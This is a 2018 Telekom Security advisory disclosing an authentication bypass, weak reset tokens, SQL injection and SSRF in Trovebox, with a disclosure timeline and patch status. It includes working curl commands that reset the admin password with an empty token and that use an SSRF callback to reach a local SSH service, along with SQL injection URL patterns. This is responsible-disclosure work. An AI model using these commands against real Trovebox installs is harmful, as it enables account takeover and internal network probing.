Telekom Security
security.telekom.com
Advisory: Trovebox - Authentication Bypass, SQLi, SSRF
Release Date: 2018/04/30
Author: Robin Verton (robin.verton@xxxxxxxxxx)
CVE: requested
Application: Trovebox <= 4.0.0-rc6
Risk: Critical
Vendor Status: A fix was released on github.
Overview:
"Trovebox is software that helps you manage, organize and share photos. It
includes web and mobile apps for Android and iOS. The goal of Trovebox is to
be software which people love to use and helps them preserve their digial
media files." [1]
Multiple vulnerabilities were identified in the current release of Trovebox
allowing to bypass authentication, inject SQL code or access local services
and hosts.
Details:
1) Authentication bypass via type juggling
Trovebox puts JSON serialized data in a table column and deserializes this
data when accessing it. If an accessed dictionary key can not be found in
this result, bool(false) is returned. The passwordReset() function makes use
of an unsafe comparison which allows to pass this check if there is no
active token saved for the user:
//ApiUserController.php, L89
$user = new User;
$token = $_POST['token'];
$password = $_POST['password'];
$passwordConfirm = $_POST['password-confirm'];
$tokenFromDb = $user->getAttribute('passwordToken');
if($tokenFromDb != $token)
return $this->error('Could not validate password reset token.', false);
Note that this will always reset the password for the owner/admin account,
because the email address is not used here. By using an empty string ("") as
the password token, the password can then be changed.
Example:
$ curl localhost/user/password/reset.json \
-d "token=&password=x&password-confirm=x"
{"message":"Password was updated successfully.","code":200,"result":true}
2) Unsafe password reset token generation
The password reset token generation is not random enough:
//ApiUserController.php, L59
$token = md5(rand(10000,100000));
There are only 90.000 different tokens which is trivial to crack in a
short time frame.
3) SQL injection in album list function
The buildQuery() function in DatabaseMySql.php fails to validate the 'album'
parameter.
Example: /photos/album-1'[SQL]/list
Example: /photos/album/list?album=1'[SQL]
4) Server-Side request forgery in webhook subscription functionality
The webhook subscribe function does not sufficient filter the passed
callback url, thus allowing an authenticated user to access internal services
and hosts.
Example contacting a local SSHd:
$ curl -XPOST pwnbox:8080/webhook/subscribe \
-d "mode=GET&topic=a&callback=dict://127.0.0.1::22/?" \
--cookie "PHPSESSID=jm6adsphu75m8kna0drkhj9nj4"
The verification call failed to meet requirements. Code: 0, Response: SSH-
2.0-OpenSSH_6.6.1p1 Ubuntu-2ubuntu2.8 Protocol mismatch.
, Expected: 5a7f6cfc81a78, URL: dict://127.0.0.1:22/?mode=GET&topic=a&challenge=5a7f6cfc81a78
References:
[1]: https://github.com/photo/frontend
Disclosure Timeline:
11. February 2018 - Details sent to core contributor.
21. March 2018 - Contributor pushed first patches.
26. April 2018 - Patch merged.
30. April 2018 - Advisory published.
About Telekom Security:
Telekom Security is the security provider for Deutsche Telekom and Deutsche
Telekom customers.
https://security.telekom.com
https://github.com/telekomsecurity
http://www.sicherheitstacho.eu
https://telekomsecurity.github.io/2018/04/trovebox-vulnerabilities.html
